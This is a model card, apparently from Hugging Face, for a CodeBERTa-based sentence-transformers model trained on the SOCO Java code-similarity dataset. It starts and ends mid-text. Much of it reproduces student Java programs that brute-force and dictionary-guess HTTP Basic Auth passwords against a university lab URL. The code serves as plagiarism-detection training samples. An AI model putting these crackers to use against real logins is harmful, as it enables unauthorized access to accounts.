bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n\n"
- source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n Dictionary a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\");\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n\n"
sentences:
- |
package java.httputils;
import java.io.BufferedReader;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.net.MalformedURLException;
import java.sql.Timestamp;
public class Dictionary extends BruteForce
{
protected String wordFile;
public Dictionary()
{
super();
}
public static void main(String[] args)
{
Dictionary dictionary = new Dictionary();
if (args.length < 3)
{
System.out.println(dictionary.printUsage());
}
else
{
dictionary.setURL(args[0]);
dictionary.setUserName(args[1]);
dictionary.setWordFile(args[2]);
if (args.length > 3)
{
dictionary.setFileName(args[3]);
}
dictionary.process();
System.out.println(dictionary.printResult());
System.exit(1);
}
}
public void process()
{
attempts = 0;
String password = "";
setStart(new Timestamp(System.currentTimeMillis()));
BufferedReader input = null;
try
{
FileReader file = new FileReader(getWordFile());
input = new BufferedReader(file);
}
catch (FileNotFoundException x)
{
System.err.println("File not found: " + getWordFile());
System.exit(2);
}
try
{
while ((password = input.readLine()) != null)
{
try
{
attempts++;
BasicAuthHttpRequest req =
new BasicAuthHttpRequest(
getURL(),
getUserName(),
password);
setPassword(password);
setEnd(new Timestamp(System.currentTimeMillis()));
setContent(req.getContent().toString());
if (getFileName() != null
&& getFileName().length() > 0)
{
createReport();
}
return;
}
catch (MalformedURLException e)
{
e.printStackTrace();
return;
}
catch (IOException e)
{
}
}
}
catch (IOException x)
{
x.printStackTrace();
}
setEnd(new Timestamp(System.currentTimeMillis()));
}
public String printUsage()
{
StringBuffer s = new StringBuffer();
s.append("** BruteForce proper usage **\n\n");
s.append(
"java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\n\n");
return s.toString();
}
public String getWordFile()
{
return wordFile;
}
public void setWordFile(String string)
{
wordFile = string;
}
}
- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public void attack(String args[]) {\n try {\n String login = new String(\"\");\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new String();\n\n\n passwd = getPasswd();\n BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n }\n System.out.println(\"Password Cracked Successfully!!!\");\n System.out.println(\"The passsword is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n catch (IOException e) {\n \n String r = new String(e.getMessage());\n if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing dictionary word and waiting for URL reply....... \");\n String currentword = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\", userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n\n public String userNamePasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n a.attack(args);\n }\n\n public void attack(String args[]) {\n try {\n\n String login = new String(\"\");\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n }\n System.out.println(\"Password Cracked Successfully!!!\");\n System.out.println(\"The passsword is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n catch (IOException e) {\n \n String r = new String(e.getMessage());\n if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n System.out.println(\"Trying again with new password\");\n Bruteforce a = new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; int j= m; int k= n;\n\n String c = new String();\n String c1 = new String();\n String c2 = new String();\n String c3 = new String();\n String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n"
datasets:
- buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
SentenceTransformer based on huggingface/CodeBERTa-small-v1
This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1 on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
Model Details
Model Description
- Model Type: Sentence Transformer
- Base model: huggingface/CodeBERTa-small-v1
- Maximum Sequence Length: 512 tokens
- Output Dimensionality: 768 dimensions
- Similarity Function: Cosine Similarity
- Training Dataset:
Model Sources
- Documentation: Sentence Transformers Documentation
- Repository: Sentence Transformers on GitHub
- Hugging Face: Sentence Transformers on Hugging Face
Full Model Architecture
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
Usage
Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
pip install -U sentence-transformers
Then you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-MNRL-Triplets-100-NoEval")
# Run inference
sentences = [
'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n Dictionary a = new Dictionary();\n String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n \t\t\t\t "",\n \t\t\t\t ""};\n File file = new File("words");\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty ("Authorization",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return " " + base64Encode (username + ":" + password);\n }\n\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n private static String base64Encode (String string) {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n }\n\n',
'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public void attack(String args[]) {\n try {\n String login = new String("");\n String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n String passwd = new String();\n\n\n passwd = getPasswd();\n BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n }\n System.out.println("Password Cracked Successfully!!!");\n System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n }\n catch (IOException e) {\n \n String r = new String(e.getMessage());\n if ( r != null)\n {\n System.out.println("Message :" +r);\n Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n String currentword = "";\n String se = "";\n try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n\n public String userNamePasswordBase64(String username, String password) {\n return " " + base64Encode (username + ":" + password);\n }\n\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n private static String base64Encode (String string) {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n }\n\n',
'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n protected String wordFile;\n\n public Dictionary()\n {\n super();\n }\n\n public static void main(String[] args)\n {\n Dictionary dictionary = new Dictionary();\n\n if (args.length < 3)\n {\n System.out.println(dictionary.printUsage());\n }\n else\n {\n dictionary.setURL(args[0]);\n dictionary.setUserName(args[1]);\n dictionary.setWordFile(args[2]);\n\n if (args.length > 3)\n {\n dictionary.setFileName(args[3]);\n }\n dictionary.process();\n System.out.println(dictionary.printResult());\n System.exit(1);\n }\n }\n\n public void process()\n {\n attempts = 0;\n String password = "";\n \n setStart(new Timestamp(System.currentTimeMillis()));\n\n BufferedReader input = null;\n try\n {\n FileReader file = new FileReader(getWordFile());\n \n input = new BufferedReader(file);\n \n }\n catch (FileNotFoundException x)\n {\n System.err.println("File not found: " + getWordFile());\n System.exit(2);\n }\n\n try\n {\n while ((password = input.readLine()) != null)\n {\n try\n {\n \n attempts++;\n BasicAuthHttpRequest req =\n new BasicAuthHttpRequest(\n getURL(),\n getUserName(),\n password);\n setPassword(password);\n setEnd(new Timestamp(System.currentTimeMillis()));\n setContent(req.getContent().toString());\n\n \n if (getFileName() != null\n && getFileName().length() > 0)\n {\n createReport();\n }\n return;\n }\n catch (MalformedURLException e)\n {\n e.printStackTrace();\n return;\n }\n catch (IOException e)\n {\n\n }\n }\n }\n catch (IOException x)\n {\n x.printStackTrace();\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n\n }\n\n public String printUsage()\n {\n StringBuffer s = new StringBuffer();\n\n s.append("** BruteForce proper usage **\\n\\n");\n s.append(\n "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n return s.toString();\n }\n \n public String getWordFile()\n {\n return wordFile;\n }\n\n \n public void setWordFile(String string)\n {\n wordFile = string;\n }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Training Details
Training Dataset
soco_train_java
- Dataset: soco_train_java at 44ca4ff
- Size: 42,960 training samples
- Columns:
anchor_code,positive_code, andnegative_code - Approximate statistics based on the first 1000 samples:
anchor_code positive_code negative_code type string string string details - min: 512 tokens
- mean: 512.0 tokens
- max: 512 tokens
- min: 512 tokens
- mean: 512.0 tokens
- max: 512 tokens
- min: 51 tokens
- mean: 456.08 tokens
- max: 512 tokens
- Samples:
anchor_code positive_code negative_code import java.net.;
import java.io.;
import java.*;
public class Dictionary {
URLConnection conn = null;
private static boolean status = false;
public static void main (String args[]){
Dictionary a = new Dictionary();
String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
"",
""};
File file = new File("words");
exit:
try {
BufferedReader in = new BufferedReader(new FileReader(file));
int attempt = 0;
inp[2] = in.readLine();
while (inp[2] != null) {
if (inp[2].length() <= 3) {
attempt++;
a.doit(inp);
if (status) {
System.out.println("Crrect password is: " + inp[2]);
System.out.println("Number of attempts = " + attempt);
break exit;
}
}
inp[2] = in.readLine();
}
} catch (FileNotFoundException e1) {
System.err.println("File not found: " + file);
} catch (IOException e2) {
e2.printStackTrace();
}
}
public void doit(String ar...import java.net.;
import java.io.;
public class Dictionary {
int attempts = 0;
URLConnection conn = null;
public static void main (String args[]){
Dictionary a = new Dictionary();
a.attack(args);
}
public void attack(String args[]) {
try {
String login = new String("");
String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String passwd = new String();
passwd = getPasswd();
BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
}
System.out.println("Password Cracked Successfully!!!");
System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");
}
catch (IOException e) {
String r = new String(e.getMessage());
if ( r != null)
{
System.out.println...
import java.io.;
import java.net.;
import java.util.*;
import java.misc.BASE64Encoder;
public class Dictionary {
private String userId;
private String password;
ReadDictionary myWords = new ReadDictionary();
public Dictionary() {
myWords.openFile();
Authenticator.setDefault (new MyAuthenticator());
}
public String fetchURL (String urlString) {
StringBuffer sb = new StringBuffer();
HttpURLConnection connection;
Date startTime, endTime;
int responseCode = -1;
boolean retry = true;
URL url;
startTime = new Date();
System.out.println (" time :" + startTime);
while (retry == true)
{
try {
url = new URL (urlString);
connection = (HttpURLConnection)url.openConnection();
setUserId("");
setPassword("rhk8611");
System.out.println("Attempting get a response : " +connection.getURL() );
responseCode = connection.getResponseCode();
System.out.print(responseCode + " ");
if (responseCode == HttpURLCo...import java.net.;
import java.io.;
import java.*;
public class Dictionary {
URLConnection conn = null;
private static boolean status = false;
public static void main (String args[]){
Dictionary a = new Dictionary();
String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
"",
""};
File file = new File("words");
exit:
try {
BufferedReader in = new BufferedReader(new FileReader(file));
int attempt = 0;
inp[2] = in.readLine();
while (inp[2] != null) {
if (inp[2].length() <= 3) {
attempt++;
a.doit(inp);
if (status) {
System.out.println("Crrect password is: " + inp[2]);
System.out.println("Number of attempts = " + attempt);
break exit;
}
}
inp[2] = in.readLine();
}
} catch (FileNotFoundException e1) {
System.err.println("File not found: " + file);
} catch (IOException e2) {
e2.printStackTrace();
}
}
public void doit(String ar...import java.net.;
import java.io.;
public class Dictionary {
int attempts = 0;
URLConnection conn = null;
public static void main (String args[]){
Dictionary a = new Dictionary();
a.attack(args);
}
public void attack(String args[]) {
try {
String login = new String("");
String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String passwd = new String();
passwd = getPasswd();
BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
}
System.out.println("Password Cracked Successfully!!!");
System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");
}
catch (IOException e) {
String r = new String(e.getMessage());
if ( r != null)
{
System.out.println...
public class Base64 {
final static String baseTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
public static String encode(byte[] bytes) {
String tmp = "";
int i = 0;
byte pos;
for(i=0; i < (bytes.length - bytes.length%3); i+=3) {
pos = (byte) ((bytes[i] >> 2) & 63);
tmp = tmp + baseTable.charAt(pos);
pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15));
tmp = tmp + baseTable.charAt( pos );
pos = (byte) (((bytes[i+1] & 15) << 2) + ((bytes[i+2] >> 6) & 3));
tmp = tmp + baseTable.charAt(pos);
pos = (byte) (((bytes[i+2]) & 63));
tmp = tmp + baseTable.charAt(pos);
if(((i+2)%56) == 0) {
tmp = tmp + "\r\n";
}
}
if(bytes.length % 3 != 0) {
if(bytes.length % 3 == 2) {
pos = (byte) ((bytes[i] >> 2) & 63);
tmp = tmp + baseTable.charAt(pos);
pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15));
tmp = tmp + baseTable.charAt( pos );
...import java.net.;
import java.io.;
import java.*;
public class Dictionary {
URLConnection conn = null;
private static boolean status = false;
public static void main (String args[]){
Dictionary a = new Dictionary();
String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
"",
""};
File file = new File("words");
exit:
try {
BufferedReader in = new BufferedReader(new FileReader(file));
int attempt = 0;
inp[2] = in.readLine();
while (inp[2] != null) {
if (inp[2].length() <= 3) {
attempt++;
a.doit(inp);
if (status) {
System.out.println("Crrect password is: " + inp[2]);
System.out.println("Number of attempts = " + attempt);
break exit;
}
}
inp[2] = in.readLine();
}
} catch (FileNotFoundException e1) {
System.err.println("File not found: " + file);
} catch (IOException e2) {
e2.printStackTrace();
}
}
public void doit(String ar...import java.net.;
import java.io.;
public class Dictionary {
int attempts = 0;
URLConnection conn = null;
public static void main (String args[]){
Dictionary a = new Dictionary();
a.attack(args);
}
public void attack(String args[]) {
try {
String login = new String("");
String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String passwd = new String();
passwd = getPasswd();
BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
}
System.out.println("Password Cracked Successfully!!!");
System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");
}
catch (IOException e) {
String r = new String(e.getMessage());
if ( r != null)
{
System.out.println...
import java.net.;
import java.io.IOException;
import java.util.;
import java.io.*;
public class Dictionary {
static String userName;
